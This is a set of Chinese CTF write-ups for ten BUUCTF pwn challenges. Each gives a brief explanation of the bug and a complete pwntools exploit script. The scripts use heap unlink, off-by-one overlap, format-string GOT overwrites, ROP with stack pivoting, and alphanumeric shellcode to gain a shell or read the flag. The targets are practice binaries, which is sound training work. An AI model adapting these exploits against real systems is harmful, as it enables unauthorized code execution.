buu073-hitcontraining_bamboobox
数据结构:
共可申请100个结构,其中change_item函数有任意长度堆溢出漏洞。
本题程序加载地址固定,itemlist地址固定,因此考虑使用unlink方法解题。
unlink之后可以直接通过第一个chunk读取到stdin的地址,从而获取libc加载基址。
需要注意的是这里修改的是atoi函数的got表地址,如果修改free函数的got表地址,由于输入时程序会将输入的后面一个字节清零,会导致free函数got表后面的一个地址(puts)发生错误,使得menu函数调用puts函数失败。而atoi后面是exit函数地址,无关紧要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *context(arch='amd64' , log_level='debug' ) io = remote('node4.buuoj.cn' , 29731 ) elf = ELF('./pwn' ) def add (length, content ): io.sendlineafter(b'Your choice:' , b'2' ) io.sendlineafter(b'Please enter the length of item name:' , str (length).encode()) io.sendafter(b'Please enter the name of item:' , content) def show (): io.sendlineafter(b'Your choice:' , b'1' ) def change (index, length, content ): io.sendlineafter(b'Your choice:' , b'3' ) io.sendlineafter(b'Please enter the index of item:' , str (index).encode()) io.sendlineafter(b'Please enter the length of item name:' , str (length).encode()) io.sendafter(b'Please enter the new name of the item:' , content) def delete (index ): io.sendlineafter(b'Your choice:' , b'4' ) io.sendlineafter(b'Please enter the index of item:' , str (index).encode()) add(0x88 , b'colin' ) add(0x88 , b'colin' ) add(0x20 , b'/bin/sh' ) payload = p64(0x10 ) payload += p64(0x81 ) payload += p64(0x6020C8 - 0x18 ) payload += p64(0x6020C8 - 0x10 ) payload += cyclic(0x60 ) payload += p64(0x80 ) payload += p64(0x90 ) change(0 , 0x90 , payload) delete(1 ) show() io.recv(4 ) stdin = u64(io.recv(6 ) + b'\x00\x00' ) print (hex (stdin))libc = LibcSearcher('_IO_2_1_stdin_' , stdin) base = stdin - libc.dump('_IO_2_1_stdin_' ) sys = base + libc.dump('system' ) change(0 , 0x20 , p64(stdin) + p64(0 ) + p64(0x88 ) + p64(elf.got['atoi' ])) change(0 , 0x8 , p64(sys)) io.sendline(b'/bin/sh' ) io.interactive()
buu074-cmcc_pwnme2
简单的栈溢出,题目给的拼接字符串的函数里面的路径是错的,不需要用,直接输出got表然后get shell即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote("node4.buuoj.cn" , 29174 ) elf = ELF("./pwnme2" ) payload = cyclic(0x70 ) payload += p32(elf.plt['puts' ]) payload += p32(elf.symbols['main' ]) payload += p32(elf.got['puts' ]) io.sendlineafter('Please input:' , payload) io.recvuntil(b'Hello' ) io.recvuntil(b'\n' ) puts = u32(io.recv(4 )) print (hex (puts))libc = LibcSearcher('puts' , puts) base = puts - libc.dump('puts' ) system = base + libc.dump('system' ) binsh = base + libc.dump('str_bin_sh' ) print (hex (binsh))payload = cyclic(0x70 ) payload += p32(system) payload += p32(elf.symbols['main' ]) payload += p32(binsh) io.sendlineafter('Please input:' , payload) io.interactive()
buu075-picoctf_2018_got-shell
在修改后还调用了puts函数,因此只需要将puts函数的got表内容改成win函数地址即可。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level = 'debug' io = remote('node4.buuoj.cn' , 27364 ) elf = ELF('./PicoCTF_2018_got-shell' ) target = elf.got['puts' ] value = elf.symbols['win' ] io.sendlineafter(b'value?\n' , hex (target)[2 :].encode()) io.sendlineafter(hex (target)[2 :].encode(), hex (value)[2 :].encode()) io.interactive()
buu076-npuctf_2020_easyheap
增删改查四个功能,其中增加只能增加大小为0x20或0x40的堆块。改功能有off by one漏洞。
本题环境是2.27,因此释放的堆块都会在tcache中保存。而要想tcache中的堆块被重新分配,其大小就必须是0x20或0x40。如果使用off by one漏洞修改一个堆块的size,则必须在其正在使用时修改,否则当堆块释放时修改大小,在重新分配时无法通过检查。至于大小的修改,有两种可能:改大或改小。
如果改大,则只能从0x20改为0x40,修改后的大小如果不为0x40,在释放后将无法被重新分配。如果改小,可以从0x40改为0x20,后面的部分由于可以控制,因此可以伪造成一个假chunk。
这里选择的是改大 。如何改?首先想象这样的堆排布:三个0x20的chunk,前面2个都是用作buffer,后面一个用于heaparray结构,现在通过edit第1个chunk将第2个chunk的大小改成0x40,再释放第2、3个chunk,就会产生chunk重叠,之后再重新分配回来,就可以通过edit随意修改heaparray中的指针,进而实现任意地址写。本题中最方便的就是改到free的got表位置,通过show获取libc地址,然后将这里的值改成system函数地址,直接delete即可get shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from LibcSearcher import *context.log_level = 'debug' io = remote('node4.buuoj.cn' , 29065 ) elf = ELF("npuctf_2020_easyheap" ) sla = lambda x, y: io.sendlineafter(x, y) sa = lambda x, y: io.sendafter(x, y) def create_heap (size, content ): sla(b'Your choice :' , b'1' ) sla(b'Size of Heap(0x10 or 0x20 only) : ' , str (size).encode()) sla(b'Content:' , content) def edit_heap (index, content ): sla(b'Your choice :' , b'2' ) sla(b'Index :' , str (index).encode()) sla(b'Content: ' , content) def show_heap (index ): sla(b'Your choice :' , b'3' ) sla(b'Index :' , str (index).encode()) def delete_heap (index ): sla(b'Your choice :' , b'4' ) sla(b'Index :' , str (index).encode()) create_heap(0x18 , cyclic(0x38 )) create_heap(0x18 , cyclic(0x18 )) create_heap(0x18 , cyclic(0x18 )) delete_heap(0 ) edit_heap(1 , b'/bin/sh' .ljust(0x18 , b'\x00' ) + p8(0x41 )) delete_heap(2 ) create_heap(0x38 , b'/bin/sh' .ljust(0x18 , b'\x00' ) + p64(0x21 ) + p64(0x38 ) + p64(elf.got['free' ])) show_heap(0 ) io.recvuntil(b'Content : ' ) free = u64(io.recv(6 ) + b'\x00\x00' ) print (hex (free))libc = LibcSearcher('free' , free) base = free - libc.dump('free' ) print (hex (base))system = base + libc.dump('system' ) edit_heap(0 , p64(system)) delete_heap(1 ) io.interactive()
buu077-wdb_2018_2nd_easyfmt
这题在bugku上也有,好像是叫pwn07,简单的格式化字符串漏洞,不多解释了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *context(arch='i386' , os='linux' , log_level='debug' ) elf = ELF('./pwn' ) io = remote('node4.buuoj.cn' , 29596 ) io.recvuntil(b'Do you know repeater?\n' ) payload1 = p32(elf.got['read' ]) + b'%6$s' io.send(payload1) mem_read_addr = u32(io.recv()[4 :8 ]) libc = LibcSearcher('read' , mem_read_addr) libc_base = mem_read_addr - libc.dump('read' ) mem_sys_addr = libc_base + libc.dump('system' ) mem_printf_addr = libc_base + libc.dump('printf' ) payload2 = fmtstr_payload(6 , {elf.got['printf' ]: mem_sys_addr}, write_size = 'byte' ) io.send(payload2) io.interactive()
buu078-PicoCTF_2018_can-you-gets-me
静态编译的32位程序,没有system函数和字符串/bin/sh,因此通过orw方式读取flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context.log_level = 'debug' io = remote('node4.buuoj.cn' , 27340 ) elf = ELF('./PicoCTF_2018_can-you-gets-me' ) pop4 = 0x809d6f4 write_addr = 0x80EBD20 payload = cyclic(0x18 + 4 ) payload += p32(elf.symbols['read' ]) payload += p32(pop4) payload += p32(0 ) payload += p32(write_addr) payload += p32(5 ) payload += p32(0 ) payload += p32(elf.symbols['open' ]) payload += p32(pop4) payload += p32(write_addr) payload += p32(0 ) * 3 payload += p32(elf.symbols['read' ]) payload += p32(pop4) payload += p32(3 ) payload += p32(write_addr) payload += p32(0x30 ) payload += p32(0 ) payload += p32(elf.symbols['write' ]) payload += p32(0 ) payload += p32(1 ) payload += p32(write_addr) payload += p32(0x30 ) io.sendlineafter(b'GIVE ME YOUR NAME!' , payload) time.sleep(0.5 ) io.sendline(b'/flag' ) io.interactive()
buu079-mrctf2020_easy_equation
简单的格式化字符串漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' context.arch = 'amd64' sol = 2 io = remote('node4.buuoj.cn' , 25629 ) elf = ELF('./mrctf2020_easy_equation' ) payload = b'a%1c%10$hhnaaaaba' + p64(0x60105C ) print (payload)io.sendline(payload) io.interactive()
buu080-ACTF_2019_babystack
这一题本来是只能溢出8个字节,即刚好覆盖返回地址,这种情况可以通过修改rbp的值,返回到leave ; ret指令方法来进行栈迁移。正好本题给出了一个栈地址,就可以利用这个栈地址覆写rbp,然后栈迁移。
本题使用到了ret2csu的方法,因为一开始不知道libc基址,于是首先通过调用puts函数的plt表获取libc基地址,然后在后面调用一个read函数,继续补全下面的ROP链(补充system函数调用的部分)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *context.log_level = 'debug' io = remote('node4.buuoj.cn' , 26302 ) elf = ELF('./ACTF_2019_babystack' ) io.sendlineafter(b'>' , b'224' ) io.recvuntil(b'Your message will be saved at ' ) stack_addr = int ((io.recvuntil(b'\n' , drop=True ).decode())[2 :], 16 ) print (hex (stack_addr))poprdi_ret = 0x400ad3 main = 0x4008F6 payload = p64(poprdi_ret) payload += p64(elf.got['puts' ]) payload += p64(elf.plt['puts' ]) payload += p64(0x400ACA ) payload += p64(0 ) payload += p64(1 ) payload += p64(elf.got['read' ]) payload += p64(0x30 ) payload += p64(stack_addr + 18 * 8 ) payload += p64(0 ) payload += p64(0x400AB0 ) payload += p64(0 ) * 6 payload = payload.ljust(0xD0 , b'\x00' ) + p64(stack_addr - 0x8 ) + p64(0x400A18 ) io.sendafter(b'>' , payload) io.recvuntil(b'Byebye~\n' ) puts = u64(io.recvuntil(b'\n' , drop=True ) + b'\x00\x00' ) print (hex (puts))libc = LibcSearcher('puts' , puts) base = puts - libc.dump('puts' ) print (hex (base))system = base + libc.dump('system' ) binsh = base + libc.dump('str_bin_sh' ) payload = p64(poprdi_ret) payload += p64(binsh) payload += p64(system) io.send(payload) io.interactive()
buu081-mrctf2020_shellcode_revenge
单纯的一个只允许使用字母和数字的shellcode,使用ae64可直接获取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from ae64 import *context.log_level = 'debug' context.arch = 'amd64' io = remote('node4.buuoj.cn' , 25890 ) sa = lambda x, y: io.sendafter(x, y) shellcode = AE64().encode(asm(shellcraft.amd64.sh()), 'rax' ) if __name__ == '__main__' : sa(b'Show me your magic!\n' , shellcode) io.interactive()
buu082-suctf_2018_basic pwn
最简单的栈溢出。
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level = 'debug' io = remote('node4.buuoj.cn' , 29234 ) elf = ELF('./SUCTF_2018_basic_pwn' ) io.sendline(cyclic(0x110 + 8 ) + p64(0x401157 )) io.interactive()